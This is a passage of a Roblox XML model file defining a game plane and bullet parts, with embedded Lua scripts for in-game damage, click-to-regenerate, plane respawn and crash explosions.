								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294901760</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX3366">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">208</int>
							<CoordinateFrame name="CFrame">
								<X>-1570.82922</X>
								<Y>12.9911957</Y>
								<Z>68.8957672</Z>
								<R00>0.501711071</R00>
								<R01>-0.263158441</R01>
								<R02>-0.824042857</R02>
								<R10>-0.0100002112</R10>
								<R11>0.950775385</R11>
								<R12>-0.309720486</R12>
								<R20>0.86498642</R20>
								<R21>0.163631484</R21>
								<R22>0.474373877</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Gun1Bullet</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.000712785404</X>
								<Y>-0.000524872623</Y>
								<Z>-0.000586516166</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">1</float>
							<Vector3 name="Velocity">
								<X>-0.0112730972</X>
								<Y>0.00493636029</Y>
								<Z>0.010696481</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX3367">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">3</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.5</X>
									<Y>0.5</Y>
									<Z>0.5</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3368">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">true</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Damage</string>
								<ProtectedString name="Source">ball = script.Parent
damage = 50


function onTouched(hit)
	local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
	if humanoid ~= nil then
		humanoid:TakeDamage(damage)
		ball:Remove()
	end
end
connection = ball.Touched:connect(onTouched)


wait(5)
ball.Parent = nil


</ProtectedString>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX3369">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">Fire</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2697431</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX3370">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">208</int>
							<CoordinateFrame name="CFrame">
								<X>-1577.99927</X>
								<Y>7.59818745</Y>
								<Z>73.0090866</Z>
								<R00>0.500110567</R00>
								<R01>0.000433623791</R01>
								<R02>-0.865961552</R02>
								<R10>-0.00459999312</R10>
								<R11>0.999987066</R11>
								<R12>-0.0021558404</R12>
								<R20>0.865949392</R20>
								<R21>0.00506167114</R21>
								<R22>0.500105977</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part1</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.00253061112</X>
								<Y>0.000121983161</Y>
								<Z>0.00395261496</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.00736234803</X>
								<Y>0.0176840983</Y>
								<Z>-0.00237777876</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX3371">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX3372">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BodyGyro</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>0.642746687</R00>
									<R01>3.65983979e-005</R01>
									<R02>-0.766098619</R02>
									<R10>-4.10464709e-005</R10>
									<R11>1</R11>
									<R12>1.33365174e-005</R12>
									<R20>0.766098619</R20>
									<R21>2.28728441e-005</R21>
									<R22>0.642746687</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>0</X>
									<Y>400000</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX3373">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4278190335</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294967295</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX3374">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX3375">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1808</X>
						<Y>7</Y>
						<Z>73</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX3376">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX3377">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3378">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX3379">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX3380">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Red</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX3381">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX3382">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Plane</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX3383">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Parts</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Part" referent="RBX3384">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1832</X>
										<Y>7.00006008</Y>
										<Z>64.5999756</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Engine</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">1</float>
									<Vector3 name="Velocity">
										<X>-0.0025208774</X>
										<Y>0.00333478209</Y>
										<Z>-0.00017474778</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>8</X>
										<Y>0.400000006</Y>
										<Z>28</Z>
									</Vector3>
								</Properties>
								<Item class="BodyPosition" referent="RBX3385">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">1250</float>
										<string name="Name">BodyPosition</string>
										<float name="P">10000</float>
										<Vector3 name="maxForce">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="position">
											<X>-1.5</X>
											<Y>3</Y>
											<Z>-48</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX3386">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">BodyGyro</string>
										<float name="P">3000</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX3387">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<ProtectedString name="Source">model = script.Parent.Parent.Parent
backup = model:clone()
local debounce = false

function onTouch(part)
	if (part.Name == &quot;Safe&quot;) and (debounce == false) and (script.Parent.Count.Value == 0) then
	debounce = true
	wait(2)
	model = backup:clone()
	model.Parent = game.Workspace
	model:makeJoints()
	script.Parent.Count.Value = 1
	debounce = false
	end
end 
script.Parent.Touched:connect(onTouch)</ProtectedString>
									</Properties>
								</Item>
								<Item class="IntValue" referent="RBX3388">
									<Properties>
										<bool name="Archivable">true</bool>
										<string name="Name">Count</string>
										<int name="Value">0</int>
									</Properties>
								</Item>
							</Item>
							<Item class="Seat" referent="RBX3389">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">21</int>
									<CoordinateFrame name="CFrame">
										<X>-1832</X>
										<Y>8.20005989</Y>
										<Z>59.5999756</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Seat</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.00291569647</X>
										<Y>0.00848687347</Y>
										<Z>0.00106175395</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>0.400000006</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX3390">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-1</X>
										<Y>8.68749332</Y>
										<Z>3.97869873</Z>
										<R00>-1</R00>
										<R01>-8.52184769e-007</R01>
										<R02>4.47994807e-007</R02>
										<R10>-8.5223229e-007</R10>
										<R11>1</R11>
										<R12>-0.000106061627</R12>
										<R20>-4.47904426e-007</R20>
										<R21>-0.000106061627</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX3391">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">position = script.Parent.Engine.Position
local frame = Instance.new(&quot;CFrameValue&quot;)
frame.Name = &quot;OriginCFrame&quot;
frame.Value = script.Parent.Engine.CFrame
frame.Parent = script.Parent

local object = Instance.new(&quot;ObjectValue&quot;)
object.Value = script.Parent.Parent.Parent

seat = script.Parent.Seat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent.Parent = parent
				while true do
					wait(2)
					local pos = script.Parent.Engine.Position
					if (position - pos).magnitude &gt; 30 then
						if object.Value ~= nil then
							object.Value.Regen.Value = 1
							wait(.5)
							object.Value.Regen.Value = 0
							object.Value = nil
						end
					break end
				end
				while true do
					print(&quot;Loop&quot;)
					wait(2)
					if part == nil then
						script.Parent.Parent.Parent = game.Workspace
						script.Parent.Parent:MakeJoints()
					break end
				end
			end
		end
	end
end
seat.ChildAdded:connect(onChildAdded)</ProtectedString>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX3392">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-103</X>
										<Y>10.8000002</Y>
										<Z>-727</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX3393">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-103</X>
										<Y>10.8000002</Y>
										<Z>-727</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX3394">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-102.992332</X>
										<Y>10.7712145</Y>
										<Z>-726.693542</Z>
										<R00>-0.99999994</R00>
										<R01>0.000460659998</R01>
										<R02>1.19932392e-005</R02>
										<R10>0.000460652431</R10>
										<R11>0.999999702</R11>
										<R12>-0.000621763524</R12>
										<R20>-1.22796573e-005</R20>
										<R21>-0.000621757936</R21>
										<R22>-0.999999881</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX3395">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>819.997314</X>
										<Y>10.8972998</Y>
										<Z>-814.973267</Z>
										<R00>-0.999999881</R00>
										<R01>0.000417414587</R01>
										<R02>6.31785269e-006</R02>
										<R10>0.000417414849</R10>
										<R11>0.99999994</R11>
										<R12>3.51876515e-005</R12>
										<R20>-6.30316481e-006</R20>
										<R21>3.519038e-005</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX3396">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>222.999756</X>
										<Y>10.8018036</Y>
										<Z>-157.974213</Z>
										<R00>-1</R00>
										<R01>4.56572889e-005</R01>
										<R02>-1.09764164e-006</R02>
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										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX3424">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-60.9999962</X>
										<Y>0.587446868</Y>
										<Z>44.9994392</Z>
										<R00>-1</R00>
										<R01>-1.17984871e-006</R01>
										<R02>4.76039276e-007</R02>
										<R10>-1.17989941e-006</R10>
										<R11>1</R11>
										<R12>-0.00010648786</R12>
										<R20>-4.75913652e-007</R20>
										<R21>-0.00010648786</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX3425">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local boom = false

function createExplosion(position)

explosion = Instance.new(&quot;Explosion&quot;)
explosion.Position = position
explosion.BlastRadius = 12
explosion.Parent = game.Workspace

end

function onTouch(part)
	if boom == true then return end
	if (part.Name == &quot;&quot;) or (part.Name == &quot;Safe&quot;) or (part.Parent.Parent.Parent == script.Parent) or (part.Parent:findFirstChild(&quot;Humanoid&quot;)) then return end
	if (script.Parent.Parts.Tip.Velocity.x &gt; 50) or (script.Parent.Parts.Tip.Velocity.x &lt; -50) or (script.Parent.Parts.Tip.Velocity.z &gt; 50) or (script.Parent.Parts.Tip.Velocity.z &lt; -50) then
	boom = true
	createExplosion(script.Parent.Parts.Engine.Position)
	script.Parent:BreakJoints()
	local stuff = script.Parent:children()
	for i=1,#stuff do
		if stuff[i].Name == &quot;BodyKit&quot; or
		stuff[i].Name == &quot;Parts&quot; then
		local parts = stuff[i]:children()
			for p = 1, #parts do
				if parts[p].className == &quot;Part&quot; then
				local velo = Instance.new(&quot;BodyVelocity&quot;)
				velo.maxForce = Vector3.new(9.9e+036, 9.9e+036, 9.9e+036)
				velo.velocity = Vector3.new(math.random(-15,15),math.random(-15,15),math.random(-15,15))
				velo.Parent = parts[p]
				end
			end
		end
	end
	wait(4)
	script.Parent:remove()
	end
end

script.Parent.Parts.Tip.Touched:connect(onTouch)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="IntValue" referent="RBX3426">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">PlaneCheck</string>
								<int name="Value">0</int>
							</Properties>
						</Item>
						<Item class="IntValue" referent="RBX3427">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">Stunt</string>
								<int name="Value">0</int>
							</Properties>
						</Item>
						<Item class="Model" referent="RBX3428">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">BodyParts</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Part" referent="RBX3429">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1830.5</X>
										<Y>10.8000603</Y>
										<Z>59.5999756</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>-1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Jaw </string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.00185018755</X>
										<Y>0.0078721568</Y>
										<Z>0.00347486441</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>8</X>
										<Y>1.60000002</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX3430">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
